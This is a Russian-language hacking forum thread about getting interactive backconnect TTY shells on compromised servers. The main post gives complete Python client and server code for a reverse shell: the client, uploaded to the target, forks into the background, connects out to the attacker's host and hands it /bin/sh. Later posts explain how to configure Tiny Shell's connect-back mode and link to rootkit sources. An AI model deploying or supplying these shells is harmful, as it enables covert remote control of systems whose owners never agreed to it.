Старый 10.04.2011, 08:22   #11
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Собственно моя поделка на python. За основу брался модуль pexpect, из которого выдраны участи для работы с pty.
Некоторые особенности:
- клиентская часть конфигурится через сам скрипт (не очень здорово, когда хост:порт светится в списках процессов)
- меня устроил вариант с фиксированным размером терминала 111x36 (легко меняется в клиентском скрипте)
- серверная часть не убивается через ctrl+c ctrl+z (меня не очень напрягало, поэтому пока не исправлял)...
- как уже писалось, нет шифрования / ключей
- из pexpect не стал брать часть кода для Solaris (там какие-то особенности с pty.fork()) и игнорирование SIGHUP
- нет умных фичей по автовыбору доступных шеллов (по умолчанию /bin/sh, но также правится в клиентской части)
- не нашел способа сменить строку запуска, которая светится в ps, top, htop...
- автоматом не экспортируется переменная окружения TERM (иногда нужно делать export TERM=linux)
- если не смотреть на все эти неудобства / баги, то получаем шелл, практически неотличимый от обычного коннекта по ssh (работают mc, htop, top, vim, цветной вывод, автодополнение по tab)

Клиент:
Код:
#!/usr/bin/env python
import sys, socket, os
import pty, fcntl, struct, termios, select, resource

host = 'localhost'
port = 8888

try:
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    sock.connect( (host, port) )
except:
    print "[!] Can't connect !\n"
    os._exit( 1 )

print "[x] OK ....\n"

try:
    if os.fork() > 0: os._exit( 0 )
    if os.fork() > 0: os._exit( 0 )
except OSError, error:
    print '[!] fork: %d (%s)\n' % ( error.errno, error.strerror )



os.dup2( sock.fileno(), sys.stdin.fileno()  )
os.dup2( sock.fileno(), sys.stdout.fileno() )
os.dup2( sock.fileno(), sys.stderr.fileno() )
sock.sendall( ('\r\n>>>>>>>>>>>>>>> rShell by ont.rif >>>>>>>>>>>>>>\r\n') )

print "[!] %s\r" % sys.version

pid, child_fd = pty.fork()
if not pid: # Child
    try:
        TIOCSWINSZ = getattr(termios, 'TIOCSWINSZ', -2146929561)
        if TIOCSWINSZ == 2148037735L:
            TIOCSWINSZ = -2146929561
        s = struct.pack('HHHH', 36, 111, 0, 0)      ## terminal size = 111 x 36
        fcntl.ioctl( sys.stdout.fileno(), TIOCSWINSZ, s )
    except:
        pass

    # Do not allow child to inherit open file descriptors from parent.
    max_fd = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
    for i in range( 3, max_fd ):
        try:
            os.close (i)
        except OSError:
            pass

    os.execv( '/bin/sh', [''] )


while True:
    r, w, e = select.select( [ child_fd, sock.fileno() ], [], [], 5 )

    if child_fd in r:
        try:
            res = os.read( child_fd, 100000 )
            os.write( sock.fileno(), res )
        except:
            print "[!] Die (child time out)......\r"
            os._exit( 0 )

    if sock.fileno() in r:
        res = os.read( sock.fileno(), 1000 )
        os.write( child_fd, res )
        if not res:
            print "[!] Die (empty socket)....\r"
            os._exit( 0 )
Сервер
Код:
import socket, pty, tty, select
import sys, os

if len( sys.argv ) < 3:
    print "[x] Usage: %s [host] [port]" % ( sys.argv[0] )
else:
    host = str( sys.argv[1] )
    port = int( sys.argv[2] )
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

    try:
        sock.bind( (host, port) )
        sock.listen( 5 )
    except:
        print "[!] Can't bind !\n"

    tty.setraw( pty.STDIN_FILENO )

    while True:
        #accept connections from outside
        print "[x] Waiting for incoming on %s:%s...\r" % (host, port)
        (csock, addr) = sock.accept()
        print "[x] Ok....%s\r" % str( addr )
        while True:
            r, w, e = select.select( [ csock.fileno(), pty.STDIN_FILENO ], [], [] )
            #print r, str( [ csock.fileno(), pty.STDIN_FILENO ] )

            if csock.fileno() in r:
                dat = os.read( csock.fileno(), 1000 )
                os.write( pty.STDOUT_FILENO, dat )
                if not dat:
                    print "[!] client close connection....\r"
                    break

            if pty.STDIN_FILENO in r:
                dat = os.read( pty.STDIN_FILENO, 1000 )
                os.write( csock.fileno(), dat )
У себя в терминале (окно терминала должно быть больше 111x36, чтобы поместилась выдача от клиента):
Код:
python server.py 111.222.333.444 8080
В клиенте, залитом на сервер:
Код:
host = '111.222.333.444'
port = 8080
ont вне форума   Ответить с цитированием
Старый 17.04.2011, 16:51   #12
id13
 
Регистрация: 04.12.2010
Сообщений: 22
Репутация: 1
По умолчанию

##########################

Последний раз редактировалось id13; 17.04.2011 в 17:53.. Причина: #
id13 вне форума   Ответить с цитированием
Старый 05.06.2011, 21:34   #13
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Сообщение от ArtOfHack Slon Посмотреть сообщение
Иногда бывает, что нужен нормальный шелл, в котором работают ssh, su, sudo и прочее, а на целевой системе нельзя воспользоваться SSH.
маленькое уточнение - sudo можно юзать и без терминала:
echo pass | sudo cmd

c su такой трюк не прокатывает
=>
su: must be run from a terminal
DrakonHaSh вне форума   Ответить с цитированием
Старый 08.06.2011, 14:18   #14
destiny
 
Аватар для destiny
 
Регистрация: 11.08.2010
Сообщений: 243
Репутация: 80
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
маленькое уточнение - sudo можно юзать и без терминала:
echo pass | sudo cmd
sudo можно вообще без трюков юзать, afair
destiny вне форума   Ответить с цитированием
Старый 25.07.2012, 16:24   #15
ygoltsev
 
Регистрация: 25.07.2012
Сообщений: 2
Репутация: 9
По умолчанию

Существует удобная в использовании штука - называется Tiny Shell (tsh).
Написана на Си. Представляет из себя клиент серверное приложение.
Позволяет делать TTY бэкконект.

Скачать можно отсюда - https://github.com/creaktive/tsh/ .
Или отсюда - http://packetstormsecurity.org/files/31650/tsh-0.6.tgz.html .

За настройки отвечает файл tsh.h.

Основные моменты в настройке:
Если необходимо забиндить порт на удаленной машине, в конфиге достаточно поправить SERVER_PORT
#define SERVER_PORT 7586

Если нужен бэкконнект - необходимо раскоментировать следующие строки:
#define CONNECT_BACK_HOST "localhost" // куда идет бэкконект
#define CONNECT_BACK_DELAY 30 // какой делэй в попытках реконнекта

После завершения редактирования конфига, выполняем команду "make <system>", где <system> - название оси, например "linux".

В текущей директории создадутся 2 бинарных файла - tsh и tshd.

При любом раскладе, будь то бэкконнект или нет, tshd мы запускаем на сервере (процесс автоматических уходит в бэкграунд и висит там), где хотим выполнять команды, а tsh - у себя на машине, куда идет бэкконнект или откуда мы хотим управлять удаленным сервером.

Для бэкконекта запуск tsh будет выглядеть так - ./tsh cb
Для подключения к хосту - ./tsh <ip_addr>, где ip_addr - IP удаленного сервера.

Более подробно эти вещи описаны в README.

Поддерживает CTRL+Z, CTRL+X, ssh, sudo и прочие штуки.

Последний раз редактировалось ygoltsev; 25.07.2012 в 16:33.. Причина: UPDATE
ygoltsev вне форума   Ответить с цитированием
Старый 28.07.2012, 11:24   #16
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

еще в сорцах phalanx был простой backconnect tty shell
http://packetstormsecurity.org/files/42556/phalanx-b6.tar.bz2.html
и в статье про патичнг ядра аж от 2001 года, с поддержкой пароля и ресайзинга окна терминала
http://www.phrack.org/issues.html?issue=58&id=7#article
tom sawyer вне форума   Ответить с цитированием
Старый 28.06.2013, 02:13   #17
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

из первого поста

http://artofhack.kz/download/hack/backconnect.zip

перезалейте кто-нибудь плз
Pashkela вне форума   Ответить с цитированием
Старый 28.06.2013, 10:33   #18
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

вроде оно:
Вложения
Тип файла: rar backconnect.rar (2.3 Кб, 649 просмотров)
DrakonHaSh вне форума   Ответить с цитированием
Старый 28.06.2013, 10:44   #19
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Спасибо, но:

Цитата:
listening on [any] 31337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50479
Can't fork pty, bye!
Pashkela вне форума   Ответить с цитированием
Старый 28.06.2013, 10:46   #20
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

да, есть у него такое на некоторых серваках. тот, что на перл, чаще срабатывает.

еще такая штука есть: http://habrahabr.ru/post/139878/ [ но все руки не как не дойдут потестить ]

Последний раз редактировалось DrakonHaSh; 28.06.2013 в 10:51..
DrakonHaSh вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot